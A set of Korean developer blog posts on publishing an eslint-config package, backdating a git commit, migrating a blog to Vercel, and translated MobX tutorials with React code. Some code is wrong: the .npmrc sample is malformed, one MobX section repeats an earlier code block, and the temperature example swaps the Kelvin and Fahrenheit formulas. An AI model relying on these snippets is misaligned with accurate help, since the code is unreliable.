전 회사에서 자체적으로 만든 `eslint-config-***`를 쓰고 있었는데, private 레파지토리에 있어서 내 public 레파지토리에 적용해서 쓰는데에 어려움이 있었다. 1년간 쓰면서 자체적으로 정한 규칙도 맘에 들었고, 만들어 주신 분께서 꽤나 많은 공을 쏟아 주셔서 정말 잘 쓸 수 있었다. 그래서 이와 거의 흡사한 룰을 가진 나만의 `eslint-config-yceffort` 를 만들어서 써보기로 했다. 룰은 물론 거의 비슷하지만, 갖다 배낄 수는 없는 노릇이고 - 이미 퇴사해서 코드는 없으므로 기억나는 룰을 최대한 비슷하게 맞춰보았다.

## 1. eslint-config-\*\*\* 만드는 법

만드는 방법은 https://tech.kakao.com/2019/12/05/make-better-use-of-eslint/ 여기에 잘나와 있어서 따로 자세히 포스팅 하지 않으려고 한다. 분명히 예전에 다닐 때는 저런게 없었던 것 같은데 🤔 어느 틈엔가 만들어 쓰고 있었나보다.

## 2. github npm registry를 쓰고 싶었지만...

github의 리치한 대부분의 기능, 단순 소스 관리 부터 workflows 에 이르기 까지 모든 기능들을 쓰는데 심취하면서, 이 package registry 까지 github에서 사용해보고 싶었다. https://github.com/features/packages

결론부터 말하자면 그러지 못했다.

https://github.com/yceffort/eslint-config-yceffort/packages

패키지를 올리는 것은 꽤나 단순하지만, 사용하는 입장에서 `.npmrc`에 `registry`를 아래 처럼 별도로 등록해줘야 하는 허들이 있었다. https://docs.github.com/en/packages/using-github-packages-with-your-projects-ecosystem/configuring-npm-for-use-with-github-packages

```text
registry=https://npm.pkg.github.comOWNER
@OWNER:registry=npm.pkg.github.com
@OWNER:registry=npm.pkg.github.com
```

어차피 나 밖에 쓸일이 없으므로 별다른 허들이 되지 않겠지만서도 (...) 매번 만드는 나의 레파지토리에 한단계라도 허들을 낮추고자 그냥 npm registry를 쓰기로 했다.

https://www.npmjs.com/package/eslint-config-yceffort

## 3. 버전 관리의 중요성

최초의 버전은 0.01 이었는데, 몇가지를 `README.md`에 잘못써서 그것만 따로 커밋 푸쉬했더니, github의 README와 npm의 READEME가 다른 사태가 발생했다.

- https://github.com/yceffort/eslint-config-yceffort
- https://www.npmjs.com/package/eslint-config-yceffort

허허\~\~

## 4. prettier의 일부 기능을 끄고 싶은데..

`mathjax`를 사용하기 위해서 `$$..$$` 문법을 쓰고 있는게 있었다. 근데 이걸 뭔가 계속 escape 처리를 해서.. 뭔가 수정할 방법이 있는 것 같은데 귀찮아서 다음으로 미뤘다.

## 5. 결론

https://www.npmjs.com/package/eslint-config-yceffort

많은 이용 부탁드립니다.

---

Source: https://yceffort.kr/2020/09/change-datetime-of-git-commit.md
Title: Git commit의 일시를 변경하기
Description: 왜 바꿔야 하는지는 비밀
Date: 2020-09-15
Tags: git

```bash
GIT_COMMITTER_DATE="Tue Sep 15 2020 10:57:29 +0900" git commit --date="Tue Sep 15 2020 10:57:29 +0900"
```

주의: `git rebase`시 강제로 일시를 변경하기 때문에 꼬일 수 있음.

출처: https://stackoverflow.com/questions/454734/how-can-one-change-the-timestamp-of-an-old-commit-in-git

---

Source: https://yceffort.kr/2020/08/update-blog.md
Title: 블로그 업데이트에 대한 회고
Description: 백수가 될 때마다 블로그를 갈아엎는 습관
Date: 2020-08-31
Tags: blogging, web-performance, devops

블로그를 업데이트 했다. 업데이트를 하게 되면서 배운 점과 개선해 나가야할 점들에 대해서 간단히 요약해 본다.

## Table of Contents

## 시작

원래는 https://developer-diary.netlify.app/ 이 블로그를 커스터마이징해서 쓰고 있었다. 고를 때만 해도 꽤 괜찮아서 잘 쓰고 있었는데, 걔속 사용하다 보니 몇가지가 걸렸다. 제목과 부제목 사이의 간격이라던가, Tech Topics 아이콘 수집, 그리고 사이드 바의 간격 등... 몇가지를 계속해서 커스터마이징 하다보니 땜질식의 처방이 되고 있었고, 더 이상 무엇을 더 이쁘게 만들어야 할지 모르겠다는 생각에 까지 이르게 되자, 결국에는 모든 것을 갈아 엎고 새로 만들자는 생각에 이르게 되었다.

## 시작

### 1. 테마 선택

1. 최대한 깔끔해서 더 이상 손댈 것이 없을 것
2. 페이징을 지원할 것
3. SEO를 어느정도 지원할 것

그래서 선택한 블로그는 https://lumen-v2.netlify.app/ 다.

### 2. Github repository 이사

사실상 markdown 블로그 내용을 제외하고는 모든 것이 바뀌기 때문에, 기존 Repository를 archived 시키고, 새로운 Repository로 이동했다.

- 기존: https://github.com/yceffort/yceffort-blog
- 신규: https://github.com/yceffort/yceffort-blog-v2

### 3. FrontMatter 일괄 업데이트

frontmatter는 특정 페이지에만 쓰이는 변수를 최상단에 선언해 둔 것을 의미한다.

https://github.com/yceffort/yceffort-blog-v2/blob/master/content/posts/articles/2020/08/mobx-study-4.md

```yaml
---
title: MobX를 공부하자 (4) - React와 Mobx의 10분 요약 글
tags:
  - javascript
  - MobX
published: true
date: 2020-08-30 19:27:22
description: 'React와 MobX에 대한 10분 설명'
category: MobX
template: post
---
```

위의 내용이 frontmatter를 의미한다. 기존에는 frontmatter가 몇개 쓰이는 것 없이 깔끔했는데, 이 테마에는 제법 쓰이는 것이 많았다. 아래는 frontmatter에 대한 변경사항이다.

- tags, category등은 기존의 tags를 기준으로 사용하게 두었다.
- published: true 는 draft: false 와 동일하게 동작하도록 수정했다.
- slug는 기존 주소와 호환성을 위해 `/:year/:month/:file-name` 을 유지하도록 했다. slug가 없을 경우 디렉토리 구조에 따라서 파일명을 이전과 같이 설정한다.

frontmatter 에디팅을 위해서 nodejs로 .md 파일을 모두 읽어서 사용했으며, `fs`외에는 별도의 라이브러리를 사용하지 않았습니다. 파일을 line by line 으로 읽어서 `---` 내부의 내용을 읽어 왔다.

### 4. 이미지 경로 업데이트

과거 이미지들의 경우 이상하게 path설정을 해두거나, `static` 폴더에 두는 등 일관적이지 못한 문제가 있었는데, 이러한 문제를 수정했다. `![](.jpg|.png.jpeg)` 로 되어 있는 모든 파일을 읽어와서, 적절한 경로로 이미지로 이동하고, path를 수정했다.

### 5. 기타 블로그 커스터 마이징

블로그의 내용 일부를 커스터마이징했다. (리트윗 기능 제거, 일부 string 변경 등)

### 6. github action으로 CI 단계 추가

CI단계를 추가해서 배포전에 기본적인 코드 검사를 할 수 있도록 했다. https://github.com/yceffort/yceffort-blog-v2/blob/master/.github/workflows/ci.yaml 기본적인 빌드 뿐만 아니라, 다음 포스팅에서 언급할 `eslint-config-yceffort`를 활용해서 `lint`와 `prettier`도 동시에 체크한다.

### 7. heroku에서 vercel로

과거 블로그 서빙을 위해서 heroku를 사용했다. 사이트가 점차 비대해지면서 무료 버전으로 감당이 안되기 시작했고, 이에 `production` 버전으로 업그레이드 해서 매달 25달러 씩 주고 유지했다. https://www.heroku.com/pricing

최근 vercel을 눈여겨보면서 (nextjs 덕분!) vercel로 갈아타기로 결심 했고, 이 기회에 [vercel](https://vercel.com/)로 이주했다.

![vercel](./images/vercel.png)

#### 장점

- netlify처럼 CD 기능 지원이 뛰어나다. 매 PR 마다 배포를 자동으로 해줘서 ([이런 느낌](https://yceffort-blog-v2-4llxkkbh3.vercel.app/)) https://github.com/yceffort/yceffort-blog-v2/pull/27 실제 머지 전에 상태를 확인할 수 있다.
- 개인 유저는 무조건 공짜다. 팀 단위 프로젝트 관리를 위해서는 돈을 지불해야 하는데, 어차피 개인 블로그 이므로 해당이 없다.
- 인터페이스가 깔끔하다.
- 기능에 군더더기가 없다. (장점일 수도 단점일 수도. heroku는 DB 등 다양한 addons을 붙일 수 있다.)

무엇보다도 다크모드를 지원한다는 점(...?)과 인터페이스가 깔끔하다는 것이 마음에 들었다. 도메인 설정도 아래 그림처럼 깔끔하게 할 수 있었다.

![vercel-domains](./images/vercel-domains.png)

## 결과

미니멀한 블로그를 만든 결과, 굉장히 만족 스러웠고, 당연하게도 google page speed insights 에서도 좋은 점수를 받을 수 있었다.

https://developers.google.com/speed/pagespeed/insights/?hl=ko&url=yceffort.kr

![desktop](./images/yceffort-blog-speed-insight-desktop.png)

![mobile](./images/yceffort-blog-speed-insight-mobile.png)

그리고 모바일에서 사용성이 굉장히 좋아졌다. 검색 등 이것저것 기능이 붙어있어서 좀 어지러운 감이 있었는데, 이전보다 훨씬 깔끔해졌다.

## 아쉬웠던 점

### 굉장히 느린 빌드 타임

빌드가 굉장히 느려졌다.

![vercel-build](./images/vercel-build.png)

기본적으로 블로그 글이 많은 것도 있지만, 빌드 하면서 gatsby에서 이것저것 수행하는 것이 많아졌다. `mathjax`지원을 위한 처리, 이미지 preview 생성 등 기본적으로 마크다운을 html로 바꾸는 과정에서 처리하는 작업 외에도 거치는 작업이 너무 많아졌다. 또한 추가/수정한 글만 생성하는 것이 아니라, 모든 글을 새로 다시 만들기 때문에 굉장히 느려질 수 밖에 없다. 빌드가 느려졌다는 것은 곧 dev로 개발하는 것도 엄청나게 느려졌다는 것을 의미하며, 내 맥북 에어에서 dev로 개발하기 위해서는 10분 넘게 빌드를 돌려야 한다. (ㅠㅠ) 이는 visual studio codespace를 사용하는 계기가 되기도 했다.

이를 해결할 수 있는 방법이 몇가지 떠오르긴 하지만, 다시 이직하게 되다면 그 때 처리하도록 하겠다. (....)

### Prettier 미적용

markdown에 pretter를 적용하고 싶었는데, mathjax 를 위해 사용한 문법 `$$...$$` , 즉 `$`를 모두 `\$`로 바꾸는, 이스케이프 처리해버리는 문제가 발생했다. 당연히 mathjax가 죄다 박살나 버렸고, 얼른 revert했다.

### mathjax error 에러

```text
14:11:12.944    error CHTML - Unknown character: U+BE14 in MathJax_Main,MathJax_Size1,MathJax_AMS
14:11:12.945    error CHTML - Unknown character: U+B85D in MathJax_Main,MathJax_Size1,MathJax_AMS
14:11:12.946    error CHTML - Unknown character: U+B2F9 in MathJax_Main,MathJax_Size1,MathJax_AMS
14:11:12.947    error CHTML - Unknown character: U+C791 in MathJax_Main,MathJax_Size1,MathJax_AMS
14:11:12.948    error CHTML - Unknown character: U+C5C5 in MathJax_Main,MathJax_Size1,MathJax_AMS
14:11:12.948    error CHTML - Unknown character: U+C99D in MathJax_Main,MathJax_Size1,MathJax_AMS
```

`$$...$$`로 대변되는 mathjax syntax안에 내가 한글을 넣어놨나보다. 이 한글을 찾아내서 모두 없애야 빌드 타임에 비명을 지르지 않을텐데, 귀찮아서 아직 수정하지 못하고 있다. (ㅠㅠ)

### 리다이렉트 누락

내 글을 블로그에서 검색하면, https://www.yceffort.kr 로 대부분이 검색이 되는데, https://yceffort.kr만 설정해두고, https://www.yceffort.kr를 https://yceffort.kr로 리다이렉트 해주는 처리를 누락해서 2주간 구글 검색 실적이 박살났다. (...) 다행히 2주뒤에 복구 해두었지만, 박살난 실적이 되돌아 오려면 꽤 오랜 시간이 걸릴 것 같다.

### yceffort.github.io

몇몇 블로그나 위키에 yceffort.github.io 로 걸린 포스팅이 보이는데, 이 주소는 현재 동작하고 있지 않다 ㅠㅠ 따라서 yceffort.github.io 블로그를 다시 살려서 현재 동작하는 웹페이지로 리다이렉트 시키는 작업을 검토 중이다.

## 결론

일주일에 걸쳐 블로그 이사작업을 마쳤고, 심각한 버그 없이 대부분의 작업을 완료 했다. 아직 몇몇 작업들이 남아있고 이들을 [이슈업](https://github.com/yceffort/yceffort-blog-v2/issues)해서 차근차근 관리하도록 하겠다. 그리고 앞으로 이런식의 대형 작업은 더 이상 없었으면 좋겠다................

---

Source: https://yceffort.kr/2020/08/mobx-study-4.md
Title: MobX를 공부하자 (4) - React와 Mobx의 10분 요약 글
Description: React와 MobX에 대한 10분 설명
Date: 2020-08-30
Tags: react, state-management

[이 글](https://mobx.js.org/getting-started.html)을 번역한 글입니다.

# MobX와 React를 위한 10분 소개글

## Table of Contents

## 핵심 아이디어

State는 각 애플리케이션의 핵심이며, 주변에 남아 있는 지역 변수와 일치하지 않는 상태 또는 상태를 생성하는 것만큼 관리 불가능한 버그를 만들 수 있는 더 빠른 방법은 없다. 따라서 많은 국가 관리 솔루션은 예를 들어 상태를 불변하게 함으로써 상태를 수정할 수 있는 방법을 제한하려고 한다. 그러나 이것은 새로운 문제를 야기시킨다; 데이터는 정규화되어야 하고, 참조 무결성은 더 이상 보장될 수 없으며, 프로토타입과 같은 강력한 개념을 사용하는 것은 거의 불가능해진다.

state(상태)는 애플리케이션의 핵심이자 동시에, 지역 변수와 일치하지 않는 상태를 만들거나, 상태 값이 관리 불가능해지는 등 각종 버그를 야기하는 문제점 이기도 하다. 따라서 많은 전역 상태 관리 솔루션은 상태 값을 불면하게 만들어서 상태를 수정할 수 있는 방법을 제한하려고 한다. (Immutable.js) 그러나 이는 또다른 문제를 만드는 원인이 되기도 한다. 데이터를 정규화 해야하고, 참조 무결성은 더잇아 보장되지 않으며, 프로토타입과 같은 강력한 기능을 사용하는 것은 더 이상 불가능해 진다.

MobX는 상태관리를 근본적인 문제를 다룸으로써 이러한 상태 관리 문제를 간단하게 한다. MobX에서는 즉 일관되지 않은 상태를 만드는 것을 막는다. 이를 달성하기 위한 전략은 간단하다. 자동적으로 애플리케이션 상태에서 파생될 수 있는 모든 것들이 파생되게 하는 것이다.

MobX는 애플리케이션을 마치 스프레드시트 (엑셀) 처럼 다룬다.

![MobX Overview](https://mobx.js.org/assets/getting-started-assets/overview.png)

1. 먼저, 애플리케이션에는 상태가 있다. 이러한 상태에는 오브젝트, 배열, 원시값, 참고 값등 애플리케이션 모델을 구성하는 것들이 존재한다. 그리고 이 값들은 애플리케이션의 '데이터 셀' 처럼 작동한다.
2. 두번째로, 파생이 있다. 기본적으로, 어떤 값들이든 애플리케이션의 상태에 따라서 자동으로 계산되어 진다. 이러한 파생 (또는 계산된 값) 들은 끝내지 못한 할일 수와 같은 단순한 숫자일 수도 있으며, 혹은 할일 목록을 나타내는 HTML 값이 될 수도 있다. 스프레드시트 용어를 빌리자면, 이들은 수식이자 애플리케이션의 차트가 될 수 있다.
3. 리액션은 파생과 매우 비슷하다. 이 둘의 핵심 차이점은 값을 따로 만들어내지 않는 다는 것이다. 그 대신, 무언가 다른 작업을 자동으로 수행한다. 보통 I/O와 관련된 작업을 수행한다. 이들은 DOM이 업데이트 되도록 하거나 또는 적절한 타이밍에 네트워크 요청을 하는 등의 작업을 한다.
4. 마지막으로 액션이 있다. 액션은 상태값을 바꾸는 것들을 말한다. Mobx는 액션으로 인한 애플리케이션 상태의 모든 변경사항이 자동으로 파생과 리액션에 의해 처리되도록 한다. 이는 동기식으로 이루어지며, 버그로부터 자유로울 수 있다.

## 간단한 할일 목록 예제

아래는 간단한 할일 목록을 보여주는 예제다. 보시다시피, 따로 MobX는 포함되어 있지 않다. `TodoStore`가 할일 목록을 가지고 있다.

```javascript
class TodoStore {
  todos = []

  get completedTodosCount() {
    return this.todos.filter((todo) => todo.completed === true).length
  }

  report() {
    if (this.todos.length === 0) return '<none>'
    const nextTodo = this.todos.find((todo) => todo.completed === false)
    return (
      `Next todo: "${nextTodo ? nextTodo.task : '<none>'}". ` +
      `Progress: ${this.completedTodosCount}/${this.todos.length}`
    )
  }

  addTodo(task) {
    this.todos.push({
      task: task,
      completed: false,
      assignee: null,
    })
  }
}

const todoStore = new TodoStore()
```

`todos` 목록과 함께 `todoStore`를 만들었다. 이번에는 todoStore에 할일 목록을 넣어보자. 주목해야 할 것은, `report`는 항상 최초의 할일을 프린트 하도록 되어 있다는 것이다. 이것은 약간 인위적인 기능이지만, MobX의 기능을 이해하는데 있어서 유효한 예제다.

```javascript
todoStore.addTodo('read MobX tutorial')
console.log(todoStore.report())

todoStore.addTodo('try MobX')
console.log(todoStore.report())

todoStore.todos[0].completed = true
console.log(todoStore.report())

todoStore.todos[1].task = 'try MobX in own project'
console.log(todoStore.report())

todoStore.todos[0].task = 'grok MobX tutorial'
console.log(todoStore.report())
```

## 반응형으로 만들기.

아직까지, 코드에 특별한 것은 없다. 하지만 만약에 명시적으로 `report()`를 호출하는 대신에, 단지 상태값이 바뀔대 마다 자동으로 호출되게 할 수 있을까? 이는 `report()`에 영향을 미치는 코드를 호출하는 책임에 대해서 자유로워질 수 있다.

이러한 지점이 바로 MobX가 도움이 될 수 있는 부분이다. 상태에만 의존하는 코드를 자동으로 실행하게 해주자. 이는 스프레드시트의 차트처럼 `report`가 자동으로 업데이트 되도록 하는 것이다. 이를 위해, MobX가 TodoStore를 관찰 가능하도록 만들어야 한다.

또한 `completedTodosCount` 의 값은 할일 목록에서 자동으로 파생될 수 있다. `@observable`과 `@computed` 데코레이터를 사용하면 가능하다.

```javascript
class ObservableTodoStore {
  @observable todos = []
  @observable pendingRequests = 0

  constructor() {
    mobx.autorun(() => console.log(this.report))
  }

  @computed get completedTodosCount() {
    return this.todos.filter((todo) => todo.completed === true).length
  }

  @computed get report() {
    if (this.todos.length === 0) return '<none>'
    const nextTodo = this.todos.find((todo) => todo.completed === false)
    return (
      `Next todo: "${nextTodo ? nextTodo.task : '<none>'}". ` +
      `Progress: ${this.completedTodosCount}/${this.todos.length}`
    )
  }

  addTodo(task) {
    this.todos.push({
      task: task,
      completed: false,
      assignee: null,
    })
  }
}

const observableTodoStore = new ObservableTodoStore()
```

이것이 전부다. 일부 속성을 `@observable`하게 만들어서, MobX가 해당 값이 변화할 때마다 추적하도록 한다. `@computed`는 이러한 변화한 상태에 따라서 자동으로 값이 계산되도록 한다.

`pendingRequests`와 `assignee`는 아직 사용되고 있지 않지만, 이후 튜토리얼에서 사용 될 것이다. 간결하게 코딩하기 위하여 이 예제에서는 ES6, JSX, 그리고 데코레이터를 사용한다. 그리고 모든 데코레이터들은 이 대신 사용할 ES5 스펙의 기술들이 대응되어 있다.

`constructor`에서 `autorun`으로 감싼 `report`함수를 볼 수 있다. `Autorun`은 한번 실행되는 reaction을 만들어내며, 이는 함수 내부에서 사용된 관찰 가능한 데이터가 변경될 때마다 자동으로 실행된다. `report`는 관찰할 수 있는 `todos`를 사용하고 있기 때문에, 적절한 때에 자동으로 실행될 것이다.

```javascript
observableTodoStore.addTodo('read MobX tutorial')
observableTodoStore.addTodo('try MobX')
observableTodoStore.todos[0].completed = true
observableTodoStore.todos[1].task = 'try MobX in own project'
observableTodoStore.todos[0].task = 'grok MobX tutorial'
```

`report` 함수가 자동으로, 동기적으로, 그리고 중간에 값을 유출하지 않는 형태로 프린트 하는 것을 볼 수 있다. 앞선 예제와는 다르게, 마지막 5번째 로그가 출력되지 않는 것을 볼 수 있다. 왜냐하면 실제로 단순히 이름을 변경한 경우이기 때문이다. 반면, 1번째 이름을 변경하게 되면, 해당 이름이 사용되고 있기 때문에 업데이트 되어 로그가 찍히는 것을 볼 수 있다. 이는 `Autorun`에서 `todos`배열 뿐만 아니라, 항목 내부의 개별 속성도 관찰하고 있음을 알 수 있다.

## 더욱 더 반응형으로 만들어보기

여기까지는 단순히 `report`를 단순하게 반응형으로 만들어 보았다. 이제는 동일한 스토어에 있는 사용자 인터페이스를 더욱더 반응형으로 만들어 볼 차례다. 반응형 컴포넌트는 (그 이름에도 불구하고) 즉시 반응하지 않는다. `mobx-react` 패키지의 `@observable` 데코레이터는 React 컴포넌트 렌더링 함수를 `autorun`으로 감써서, 컴포넌트를 자동으로 상태와 동기화되게 하여 이를 수정한다. 이는 개념적으로 우리가 이전에 했던 `report`와 다르지 않다.

아래 예제 코드는 리액트 컴포넌트를 정의한 예제이다. 여기에서 MobX는 오직 `@observable` 데코레이터만 사용되었다. 단순히 이것 만으로도 상태 값이 변할때마다 각 컴포넌트가 각각 다시 렌더링 하도록 하는데 충분하다. 더 이상 `setState`를 호출할 필요가 없으며, 또한 어떤 상태값 혹은 어떤 higher order component가 렌더링하는데 필요한지 알아낼 필요가 없다. 기본적으로, 모든 컴포넌트가 스마트 해진 것이다. 그리고 이들은 여전히 멍청한 기존방식대로 작성되어 있다.

```javascript
@observer
class TodoList extends React.Component {
  render() {
    const store = this.props.store
    return (
      <div>
        {store.report}
        <ul>
          {store.todos.map((todo, idx) => (
            <TodoView todo={todo} key={idx} />
          ))}
        </ul>
        {store.pendingRequests > 0 ? <marquee>Loading...</marquee> : null}
        <button onClick={this.onNewTodo}>New Todo</button>
        <small> (double-click a todo to edit)</small>
        <RenderCounter />
      </div>
    )
  }

  onNewTodo = () => {
    this.props.store.addTodo(prompt('Enter a new todo:', 'coffee plz'))
  }
}

@observer
class TodoView extends React.Component {
  render() {
    const todo = this.props.todo
    return (
      <li onDoubleClick={this.onRename}>
        <input
          type="checkbox"
          checked={todo.completed}
          onChange={this.onToggleCompleted}
        />
        {todo.task}
        {todo.assignee ? <small>{todo.assignee.name}</small> : null}
        <RenderCounter />
      </li>
    )
  }

  onToggleCompleted = () => {
    const todo = this.props.todo
    todo.completed = !todo.completed
  }

  onRename = () => {
    const todo = this.props.todo
    todo.task = prompt('Task name', todo.task) || todo.task
  }
}

ReactDOM.render(
  <TodoList store={observableTodoStore} />,
  document.getElementById('reactjs-app'),
)
```

```javascript
const store = observableTodoStore
store.todos[0].completed = !store.todos[0].completed
store.todos[1].task = 'Random todo ' + Math.random()
store.todos.push({task: 'Find a fine cheese', completed: true})
// etc etc.. add your own statements here...
```

## 참조된 값과의 작동

지금까지는 단순히 원시값과 배열과 함께 작동되는 모습을 보았다. 하지만 참조값과 작동은 어떻게 될까? 아래의 예제를 살펴보자.

```javascript
const store = observableTodoStore
store.todos[0].completed = !store.todos[0].completed
store.todos[1].task = 'Random todo ' + Math.random()
store.todos.push({task: 'Find a fine cheese', completed: true})
// etc etc.. add your own statements here...
```

이제 두개의 독립된 store를 갖게 되었다. 하나는 `people`이고 다른 하나는 `todos`다. `assignee`에 `people` store에 있는 값을 할당하기 위해, 단순히 참조값을 할당하였다. 이러한 변화는 자동으로 `TodoView`에 반영된다. MobX에서는, 컴포넌트를 업데이트하기 위하여 더 이상 자료형을 정규화할 필요가 없다. 사실, 데이터가 어디에 있든지 상관없다. 객체가 `observable`한 이상, MobX는 이를 실시간으로 추적하게 된다.

```html
<input onkeyup="peopleStore[1].name = event.target.value" />
```

## 비동기 액션

todo 애플리케이션은 모든 것이 상태에서 파생되기 때문에, 상태가 언제 어떻게 바뀌는지는 정말 문제가 되지 않는다. 이는 비동기 작업을 매우 쉽게 만든다.

코드는 매우 직관적이다. `pendingRequests`값을 업데이트 하게 되면, 이는 바로 UI의 상태 값에 반영된다. 그리고 로딩이 끝나게 되면, 해당 값을 다시 줄이게 된다.

```javascript
observableTodoStore.pendingRequests++
setTimeout(function () {
  observableTodoStore.addTodo('Random Todo ' + Math.random())
  observableTodoStore.pendingRequests--
}, 2000)
```

## 결론

이것이 전부다. 특별한 보일러플레이트는 필요치 않다. 우리는 UI를 완성시키기 위해 단순히 간단한 선언적인 컴포넌트를 만들었다. 이들은 상태값으로 부터 자동적으로 파생되고, 반응하게 된다. 지금까지 배운것을 요약하면 다음과 같다.

1. `@observable` 데코레이터 또는 `observable`을 사용하여 MobX가 해당 객체를 추적가능하게 한다.
2. `@computed` 데코레이터를 사용하여 자동으로 상태값으로 부터 값이 계산되는 함수를 만든다.
3. `autorun`은 의존하고 있는 `observable`한 값이 변경 될때 마다 자동으로 실행되는 함수다. 이는 로깅, 네트워크 요청 등을 처리할 때 유용하다.
4. `mobx-react`의 `@observer`를 사용하여 리액트 컴포넌트를 반응형으로 반들 수 있다. 이는 자동적으로 그리고 효율적으로 컴포넌트를 업데이트 한다. 이는 매우 크고 복잡한 데이터를 다루는 애플리케이션에서도 유용하다.

## MobX는 상태 컨테이너가 아니다.

사람들은 종종 MobX를 Redux의 대체재로 생각하고는 한다. MobX는 그러나 단순히 기술적인 문제를 풀기 위한 라이브러리이며, 상태 컨테이너 그 자체 또는 새로운 아키텍쳐가 절대 아니다. 그런 의미에서 위의 예제들이 고안되었으며, 로직의 컵슐화, 스토어 또는 컨트롤러 등의 정리등은 적절한 엔지니어링 관행을 사용하는 것이 좋다.

---

Source: https://yceffort.kr/2020/08/mobx-study-3.md
Title: MobX를 공부하자 (3) - 기본 개념과 원칙
Description: MobX 1페이지 요약에 대한 간단한 번역
Date: 2020-08-25
Tags: javascript, react

[원본](https://mobx.js.org/intro/concepts.html)

# 개념과 원칙

## Table of Contents

## 개념

### 1. 상태 (State)

상태란 애플리케이션에서 파생되는 값이다. 일반적으로, 할일 목록 같은 도메인별 상태와 현재 선택된 엘리먼트를 나타내는 뷰 상태가 있다.

### 2. 파생 (Derivations)

더 이상의 추가적인 상호작용없이, 상태에서 파생되어지는 값을 모두 파생 (Derivations) 이라고 한다.

> 최종적인 interaction 끝에 만들어진 값을 derivations 이라고 하는 것 같습니다.

여기서 Derivations은 다양한 것이 될 수 있다.

- 유저 인터페이스
- 남은 할일 숫자와 같이 파생되어진 데이터
- 서버에서 전송해온 백엔드 데이터

MobX는 derivations을 두종류로 구분한다.

- Computed values(계산된 값): 순수함수를 활용하여 현재 observable을 하고 있는 값들로 부터 계산되는 값
- Reaction: 상태가 바뀌면 자동으로 일어나야 하는 부수 효과. 이것은 명령형 프로그래밍과 반응형 프로그래밍 사이의 가교로서 필요하다. 이해를 더 쉽게 하기 위해서, I/O를 달성하기 위한 도구로써도 필요하다.

MobX를 처음 사용하는 초심자들은, 리액션을 너무 자주 사용하는 경향이 있다. 중요한 것은 바로 이것이다: **현재 상태를 기반으로 값을 계산하고 싶다면 `computed`를 활용하라.**

스프레드시트와 유사하게, 스프레드시트에서의 수식은 값을 계산해서 파생된 값이다. 그러나 사용자로서, 그러한 파생을 볼 수 있으려면 GUI의 일부를 다시페인팅 하는등의 리액션이 필요하다.

### 3. 액션 (Actions)

액션은 상태를 변화시키는 모든 코드 조각을 의미한다. 사용자 이벤트, 백엔드 데이터, 예약된 이벤트 등 액션은 스프레드시트 셀에 새 값을 입력하는 동작과 같다.

액션은 MobX에 명시적으로 정의되어있어서, 코드를 보다 명확하게 구성할 수 있다. MobX가 엄격모드로 동작될경우, MobX는 어떤 상태도 외부 액션으로 수정할 수 없도록 강제될 것이다.

## 원칙

MobX는 액션이 상태를 변경하는 단방향 데이터 흐름을 지원하고, 이에 영향을 받는 모든 뷰를 업데이트 한다.

![MobX Principles](https://mobx.js.org/assets/action-state-view.png)

- 모든 파생은 상태가 변경될때 자동으로 한번에 업데이트 된다. 따라서 중간에 값을 관찰하는 것은 불가능하다.
- 모든 파생은 기본적으로 동기로 업데이트 된다. 예를 들어, 액션을 통해 상태를 변경한 후, computed value를 직접 검사할 수 있다는 것을 의미한다.
- computed values는 게으르게 업데이트 된다. 현재 사용되지 않은 computed value는 부수효과에 필요할 때 까지 업데이트 되지 않는다. 만약 뷰에서 더 이상 사용되지 않으면, 자동으로 가비지 콜렉팅 된다.
- 모든 computed values는 순수해야 한다. 이러한 값들이 상태를 바꾸면 안된다.

## 코드 예제

아래 예제는 위에서 언급한 기본 개념과 원칙을 묘사하고 있다.

```jsx
import {observable, autorun} from 'mobx'

var todoStore = observable({
  /* 관찰의 대상이되는 state */
  todos: [],

  /* 관찰의 대상에서 파생된 값 */
  get completedCount() {
    return this.todos.filter((todo) => todo.completed).length
  },
})

/* 상태값을 관찰하는 함수 */
autorun(function () {
  console.log(
    'Completed %d of %d items',
    todoStore.completedCount,
    todoStore.todos.length,
  )
})

/* 상태값을 수정하는 액션 */
todoStore.todos[0] = {
  title: 'Take a walk',
  completed: false,
}
// -> 동기적으로 콘솔에 로그를 찍는다. 'Completed 0 of 1 items'

todoStore.todos[0].completed = true
// -> 동기적으로 콘솔에 로그를 찍는다. 'Completed 1 of 1 items'
```

---

Source: https://yceffort.kr/2020/08/mobx-study-2.md
Title: MobX를 공부하자 (2)
Description: MobX를 예제 애플리케이션에 실제로 적용해보기
Date: 2020-08-24
Tags: react, mobx

## MobX 실제로 적용해보기

```jsx
import React, {Component} from 'react'

import {observable} from 'mobx'
import {observer} from 'mobx-react'

// @observer 데코레이터가 장착되어 있는 리액트 컴포넌트는
// @observable로 되어 있는 모든 것들을 rendering 하는 와중에 사용한다.
@observer
class Counter extends Component {
  // @observable 은 @obsever컴포넌트에게 변화를 감시해야 하는 값을 알려준다.
  @observable count = 0

  handleDec = () => {
    this.count--
  }

  handleInc = () => {
    this.count++
  }

  render() {
    return (
      <div>
        Counter: {this.count} <br />
        <button onClick={this.handleDec}>-</button>
        <button onClick={this.handleInc}>+</button>
      </div>
    )
  }
}

export default Counter
```

https://codesandbox.io/embed/mobx-9z6dh?fontsize=14&hidenavigation=1&theme=dark

위 state를 상위 컴포넌트에서 props로 던지는 방식으로 바꿔보았다.

```jsx
import React, {Component} from 'react'
import ReactDOM from 'react-dom'

import {observable} from 'mobx'
import {observer} from 'mobx-react'

const appState = observable({
  count: 0,
})

appState.increment = function () {
  this.count++
}

appState.decrement = function () {
  this.count--
}

@observer
class Counter extends Component {
  render() {
    return (
      <div>
        Counter: {this.props.store.count} <br />
        <button onClick={this.handleInc}>+</button>
        <button onClick={this.handleDsc}>-</button>
      </div>
    )
  }

  handleInc = () => {
    this.props.store.increment()
  }

  handleDsc = () => {
    this.props.store.decrement()
  }
}

const rootElement = document.getElementById('root')
ReactDOM.render(
  <React.StrictMode>
    <Counter store={appState} />
  </React.StrictMode>,
  rootElement,
)
```

![mobx1](./images/mobx1.png)

[mobx devtools](https://github.com/mobxjs/mobx-devtools)을 활용하면, state 값에 대한 디버그도 할 수 있다.

```jsx
import {observable, computed} from 'mobx'
import React from 'react'
import ReactDOM from 'react-dom'
import {observer} from 'mobx-react'

const t = new (class Temperature {
  // 온도 단위와 온도를 추적
  @observable unit = 'C'
  @observable temperatureCelsius = 25

  @computed get temperatureKelvin() {
    console.log('calculating Kelvin')
    return this.temperatureCelsius * (9 / 5) + 32
  }

  @computed get temperatureFahrenheit() {
    console.log('calculating Fahrenheit')
    return this.temperatureCelsius + 273.15
  }

  // observable의 값이 바뀔 때마다, 자동으로 변경된 값을 리턴 (엑셀 처럼!)
  @computed get temperature() {
    console.log('calculating temperature')
